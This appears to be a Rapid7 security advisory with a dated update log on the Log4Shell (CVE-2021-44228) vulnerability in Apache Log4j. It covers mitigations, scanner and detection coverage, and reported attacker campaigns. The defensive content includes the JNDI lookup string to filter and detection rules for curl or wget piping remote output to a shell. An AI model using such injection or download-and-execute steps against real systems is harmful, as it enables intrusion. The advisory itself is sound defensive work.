According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.10, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.

Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:” in any inbound request and monitoring all application and web server logs for similar strings.

EmergentThreat Labs has made Suricata and Snort IDS coverage for known exploit paths of CVE-2021-44228.

Researchers are maintaining a public list of known affected vendor products and third-party advisories releated to the Log4j vunlerability.

Rapid7 customers

InsightVM and Nexpose

[Update: December 17, 2021 4:50pm ET]

Authenticated and Remote Checks
InsightVM version 6.6.121 supports authenticated scanning for Log4Shell on Linux and Windows systems. After installing the product updates, restart your console and engine.

• Unix and Windows: apache-log4j-core-cve-2021-44228 authenticated vulnerability check performs a complete file system search for vulnerable versions of the Log4j on Linux and Windows systems. Windows file system search must be enabled in the scan template for the authenticated check to run in Windows environments.
• Windows, Linux, Mac: apache-log4j-core-cve-2021-44228-remote unauthenticated vulnerability check attempts to trigger a connection back to the scan engine to determine vulnerability.

Version 6.6.121 also includes the ability to disable remote checks.

Agent checks
Insight Agent version 3.1.2.36 was released on December 12, 2021 and includes collection support for Log4j JAR files on Mac and Linux systems so that vulnerability assessments of the authenticated check for CVE-2021-44228 will work for updated Agent-enabled systems.

Insight Agent collection on Windows for Log4j began rolling out in version 3.1.2.38 as of December 17, 2021. It will take several days for this roll-out to complete.

• If you are using the Insight Agent to assess your assets for vulnerabilities and you are not yet on version 3.1.2.38, you can uncheck the “Skip checks performed by the Agent” option in the scan template to ensure that authenticated checks run on Windows systems.
• If you rely on the Insight Agent for vulnerability management, consider setting the Throttle level to High (which is the default) to ensure updates are applied as quickly as possible.

Containers
InsightVM customers utilizing Container Security can assess containers that have been built with a vulnerable version of the library.

InsightIDR and Managed Detection and Response

Rapid7 InsightIDR has several detections that will identify common follow-on activity used by attackers. Additionally, our teams are reviewing our detection rule library to ensure we have detections based on any observed attacker behavior related to this vulnerability seen by our Incident Response (IR), MDR, and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors.

• [Update: December 10, 2021 3:30pm ET]
  • Our Threat Detection & Response team has deployed detection rules to help identify attacker behavior related to this vulnerability:
    • Attacker Technique - Curl or Wget To Public IP Address With Non Standard Port
    • Suspicious Process - Curl or WGet Pipes Output to Shell
  • We also identified an existing detection rule that that was providing coverage prior to identification of the vulnerability:
    • Suspicious Process - Curl to External IP Address
• [Update: December 10, 2021 7:00pm ET]
  • An additional rule has been deployed:
    • Attacker Technique - Curl Or WGet To External IP Reporting Server IP In URL

Velociraptor

A Velociraptor artifact has been added that can be used to hunt against an environment for exploitation attempts against log4j RCE vulnerability. A second Velociraptor artifact that looks for certain known-vulnerable JAR files was also added on December 12, 2021. A third Velociraptor artifact is now available and will run Yara rules across JAR files and report on the vulnerable class.

tCell

Along with the guidance below, our tCell team has a new, longer blog post on these detections and how to use them to safeguard your applications.

New Pattern update for monitoring rule

For tCell customers, we have updated our AppFirewall patterns to detect log4shell. This means customers can view monitoring events in the App Firewall feature of tCell should log4shell attacks occur.

New Default pattern to configure a block rule

In order to protect your application against any exploit of Log4j, we’ve added a default pattern (tc-cdmi-4) for customers to block against. Below is the video on how to set up this custom block rule (don’t forget to deploy!), or reach out to the tCell team if you need help with this. As research continues and new patterns are identified, they will automatically be applied to** tc-cdmi-4**to improve coverage. 

Identify vulnerable packages and enable OS Commands

tCell will alert you if any vulnerable packages (such as CVE 2021-44228) are loaded by the application.

tCell Customers can also enable blocking for OS commands. This will prevent a wide range of exploits leveraging things like curl, wget, etc. Please note, for those customers with apps that have executables, ensure you’ve included it in the policy as allowed, and then enable blocking.

InsightCloudSec

The InsightCloudSec and InsightVM integration will identify cloud instances which are vulnerable to CVE-2021-44228 in InsightCloudSec. Customers can use the context and enrichment of ICS to identify instances which are exposed to the public or attached to critical resources.

Applying two Insight filters — Instance Vulnerable To Log4Shell and Instance On Public Subnet Vulnerable To Log4Shell — will enable identification of publicly exposed vulnerable assets and applications.

IntSights

IntSights researchers have provided a perspective on what’s happening in criminal forums with regard to Log4Shell and will continue to track the attacker’s-eye view of this new attack vector.

Attacks and campaigns

Rapid7 Labs is now maintaing a regularly updated list of unique Log4Shell exploit strings as seen by Rapid7’s Project Heisenberg.

Bitdefender has details of attacker campaigns using the Log4Shell exploit for Log4j. Their technical advisory noted that the Muhstik Botnet, and XMRIG miner have incorporated Log4Shell into their toolsets, and they have also seen the Khonsari ransomware family adapted to use Log4Shell code.

External resources

The following resources are not maintained by Rapid7 but may be of use to teams triaging Log4j/Log4Shell exposure.

CISA now maintains a list of affected products/services that is updated as new information becomes available.

CISA also has posted a dedicated resource page for Log4j info aimed mostly at Federal agencies, but consolidates and contains information that will be used to protectors in any organization.

ShadowServer is a non-profit organization that offers free Log4Shell exposure reports to organizations.

NCSC NL maintains a regularly updated list of Log4j/Log4Shell triage and information resources.

Updates

[December 10, 2021, 5:45pm ET]
Rapid7 has posted a technical analysis of CVE-2021-44228 on AttackerKB.

[December 11, 2021, 11:15am ET]
Added additional resources for reference and minor clarifications.

[December 11, 2021, 4:30pm ET]
VMware has published an advisory listing 30 different VMware products vulnerable to CVE-2021-44228, including vCenter Server, Horizon, Spring Cloud, Workspace ONE Access, vRealize Operations Manager, and Identity Manager. Their response matrix lists available workarounds and patches, though most are pending as of December 11.

Rapid7 has observed indications from the research community that they have already begun investigating RCE exploitability for products that sit in critical places in corporate networks, including network infrastructure solutions like vCenter Server. VMware customers should monitor this list closely and apply patches and workarounds on an emergency basis as they are released.

[December 11, 2021, 10:00pm ET]
Apache Struts 2 Vulnerable to CVE-2021-44228
The Apache Struts 2 framework contains static files (Javascript, CSS, etc) that are required for various UI components. Finding and “serving” these components is handled by the Struts 2 class DefaultStaticContentLoader. The DefaultStaticContentLoader is vulnerable to Log4j CVE-2021-44228;
given the default static content, basically all Struts implementations should be trivially vulnerable. Rapid7’s vulnerability research team has technical analysis, a simple proof-of-concept, and an example log artifact available in AttackerKB.

[December 12, 2021, 2:20pm ET]
InsightVM and Nexpose customers can now assess their exposure to CVE-2021-44228 with an authenticated vulnerability check. Note that this check requires that customers update their product version and restart their console and engine. See the Rapid7 customers section for details.

[December 13, 2021, 10:30am ET]
Updated mitigations section to include new guidance from Apache Log4J team and information on how to use InsightCloudSec + InsightVM to help identify vulnerable instances.

[December 13, 2021, 2:40pm ET]
Rapid7 researchers have confirmed and demonstrated that essentially all vCenter Server instances are trivially exploitable by a remote, unauthenticated attacker. Technical analysis, proof-of-concept code, and indicators of compromise for this vector are available in AttackerKB.

[December 13, 2021, 4:00pm ET]
tCell customers can now view events for log4shell attacks in the App Firewall feature. Additionally, customers can set a block rule leveraging the default tc-cdmi-4 pattern.

[December 13, 2021, 6:00pm ET]
We received some reports of the remote check for InsightVM not being installed correctly when customers were taking in content updates. Product version 6.6.119 was released on December 13, 2021 at 6pm ET to ensure the remote check for CVE-2021-44228 is available and functional. Customers will need to update and restart their Scan Engines/Consoles.

[December 13, 2021, 8:15pm ET]
Information on Rapid7’s response to Log4Shell and the vulnerability’s impact to Rapid7 solutions and systems is now available here.

[December 14, 2021, 08:30 ET]
Apache has released Log4j 2.16. This disables the Java Naming and Directory Interface (JNDI) by default and requires log4j2.enableJndi to be set to true to allow JNDI. It also completely removes support for Message Lookups, a process that was started with the prior update. It mitigates the weaknesses identified in the newly released CVE-22021-45046.

Rapid7 has posted resources to assist InsightVM and Nexpose customers in scanning for this vulnerability. This post, “Using InsightVM to Find Apache Log4j CVE-2021-44228” goes into detail on how the scans work and includes a SQL query for reporting. For product help, we have added documentation on step-by-step information to scan and report on this vulnerability.

[December 14, 2021, 2:30 ET]
Along with Log4Shell, we also have CVE-2021-4104 — reported on December 9, 2021 — a flaw in the Java logging library Apache Log4j in version 1.x. JMSAppender that is vulnerable to deserialization of untrusted data. This allows a remote attacker to execute code on the server if the deployed application is configured to use JMSAppender and to the attacker’s JMS Broker. Note this flaw only affects applications which are specifically configured to use JMSAppender, which is not the default, or when the attacker has write-access to the Log4j configuration for adding JMSAppender to the attacker’s JMS Broker.

[December 14, 2021, 3:30 ET]
CISA has posted a dedicated resource page for Log4j info aimed mostly at Federal agencies, but consolidates and contains information that will be used to protectors in any organization.

Rapid7 Labs is now maintaing a regularly updated list of unique Log4Shell exploit strings as seen by Rapid7’s Project Heisenberg.

[December 14, 2021, 4:30 ET]
Added a section (above) on what our IntSights team is seeing in criminal forums on the Log4Shell exploit vector.

[December 15, 2021, 09:10 ET]
Added a new section to track active attacks and campaigns. See above for details on a new ransomware family incorporating Log4Shell into their repertoire.

[December 15, 2021, 10:00 ET]
Along with the guidance below, our tCell team has a new, longer blog post on these detections and how to use them to safeguard your applications.

[December 15, 2021 6:30 PM ET]
Apache has fixed an additional vulnerability, CVE-2021-45046, in Log4j version 2.16.0 to address an incomplete fix for CVE-2021-44228 in certain non-default configurations. Apache’s security bulletin now advises users that they must upgrade to 2.16.0 to fully mitigate CVE-2021-44228. InsightVM and Nexpose customers can assess their exposure to CVE-2021-45046 with an authenticated (Linux) check.

Apache also appears to have updated their advisory with information on a separate version stream of Log4j vulnerable to CVE-2021-44228. They have issued a fix for the vulnerability in version 2.12.2 as well as 2.16.0. We are investigating the feasibility of InsightVM and Nexpose coverage for this additional version stream.

Version 6.6.120 of the Scan Engine and Console is now available to InsightVM and Nexpose customers and includes improvements to the authenticated Linux check for CVE-2021-44228.

[December 17, 2021 09:30 ET]
An “external resources” section has been added that includes non-Rapid7 resources on Log4j/Log4Shell that may be of use to customers and the community.

CVE-2021-45046 has been escalated from a CVSS score of 3.7 to 9.0 on the Apache Foundation website. The vulnerability was designated when it became clear that the fix for CVE-2021-44228 was “incomplete in certain non-default configurations’’ and has now been upgraded in severity due to reports that it not only allows for DoS attacks, but also information leaks and in some specific cases, RCE (currently being reported for macOS). No in-the-wild-exploitation of this RCE is currently being publicly reported. The fix for this is the Log4j 2.16 update released on December 13. If you have not upgraded to this version, we strongly recommend you do so, though we note that if you are on v2.15 (the original fix released by Apache), you will be covered in most scenarios. Update to 2.16 when you can, but don’t panic that you have no coverage.
CVE-2021-45046 is an issue in situations when a logging configuration uses a non-default Pattern Layout with a Context Lookup. In this case, attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern.

[December 17, 12:15 PM ET]
Starting in version 6.6.121 released December 17, 2021, we have updated product functionality to allow InsightVM and Nexpose customers to scan for the Apache Log4j (Log4Shell) vulnerability on Windows devices with the authenticated check for CVE-2021-44228. This update now gives customers the option to enable Windows File System Search to allow scan engines to search all local file systems for specific files on Windows assets. Customers should ensure they are running version 6.6.121 of their Scan Engines and Consoles and enable Windows File System Search in the scan template. The update to 6.6.121 requires a restart.

Note: Searching entire file systems across Windows assets is an intensive process that may increase scan time and resource utilization. To allow this, you can enable Windows file system searching in the scan template in order to use the authenticated check for Log4j on Windows systems.

In some cases, customers who have enabled the “Skip checks performed by the Agent” option in the scan template may see that the Scan Engine has skipped authenticated vulnerability checks. If you have the Insight Agent running in your environment, you can uncheck “Skip checks performed by the Agent” option in the scan template to ensure that authenticated checks run on Windows systems.

[December 17, 4:50 PM ET]
Insight Agent collection on Windows for Log4j has begun rolling out in version 3.1.2.38 as of December 17, 2021. It will take several days for this roll-out to complete. If you are using the Insight Agent to assess your assets for vulnerabilities and you are not yet on version 3.1.2.38, you can uncheck the “Skip checks performed by the Agent” option in the scan template to ensure that authenticated checks run on Windows systems.

Read more about scanning for Log4Shell here.

[December 17, 2021, 6 PM ET]
Reports are coming in of ransomware group, Conti, leveraging CVE-2021-44228 (Log4Shell) to mount attacks. According to a report from AdvIntel, the group is testing exploitation by targeting vulnerable Log4j2 instances in VMware vCenter “for lateral movement directly from the compromised network resulting in vCenter access affecting US and European victim networks from the pre-existent Cobalt Strike sessions.” Expect more widespread ransom-based exploitation to follow in coming weeks.

[December 20, 2021 8:50 AM ET]
Added an entry in “External Resources” to CISA’s maintained list of affected products/services.

[December 20, 2021 1:30 PM ET]
InsightVM and Nexpose customers can assess their exposure to CVE-2021-45105 as of December 20, 2021 with an authenticated vulnerability check. CVE-2021-45105 is a Denial of Service (DoS) vulnerability that was fixed in Log4j version 2.17.0. Our check for this vulnerability is supported in on-premise and agent scans (including for Windows).
Content update: ContentOnly-content-1.1.2361-202112201646
JarID: 3961186789

Please note that Apache’s guidance as of December 17, 2021 is to update to version 2.17.0 of Log4j. While this is good guidance, given the severity of the original CVE-2021-44228, organizations should prioritize ensuring all Log4j versions have been updated to at least 2.16.0.

[December 22, 2021]
Rapid7 has released a new Out of Band Injection Attack template to test for Log4Shell in InsightAppSec. Learn more about the details here.

[December 23, 2021]
Apache has released Log4j 2.12.3 for Java 7 users and 2.3.1 for Java 6 users to mitigate Log4Shell-related vulnerabilities. Notably, both Java 6 and Java 7 are end-of-life (EOL) and unsupported; we strongly recommend upgrading to Java 8 or later. If you cannot update to a supported version of Java, you should ensure you are running Log4j 2.12.3 or 2.3.1.

[December 28, 2021]
Apache has released Log4j versions 2.17.1 (Java 8), 2.12.4 (Java 7), and 2.3.2 (Java 6) to mitigate a new vulnerability. CVE-2021-44832 is of moderate severity (CVSSv3 6.6) and exists only in a non-default configuration that requires the attacker to have control over Log4j configuration. This is an extremely unlikely scenario. Applications do not, as a rule, allow remote attackers to modify their logging configuration files. While keeping up-to-date on Log4j versions is a good strategy in general, organizations should not let undue hype on CVE-2021-44832 derail their progress on mitigating the real risk by ensuring CVE-2021-44228 is fully remediated.

[January 3, 2022]
InsightVM and Nexpose customers can assess their exposure to Log4j CVE-2021-44832 with an authenticated vulnerability check as of December 31, 2021. Please note that as we emphasized above, organizations should not let this new CVE, which is significantly overhyped, derail progress on mitigating CVE-2021-44228.

Read More

CVE-2021-44228

 

Description

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message
parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Notes

Author	Note
mdeslaur	apache-log4j1.2 contains a similar issue in a non-default configuration, and it was assigned CVE-2021-4104, see that CVE for information about apache-log4j1.2

Read More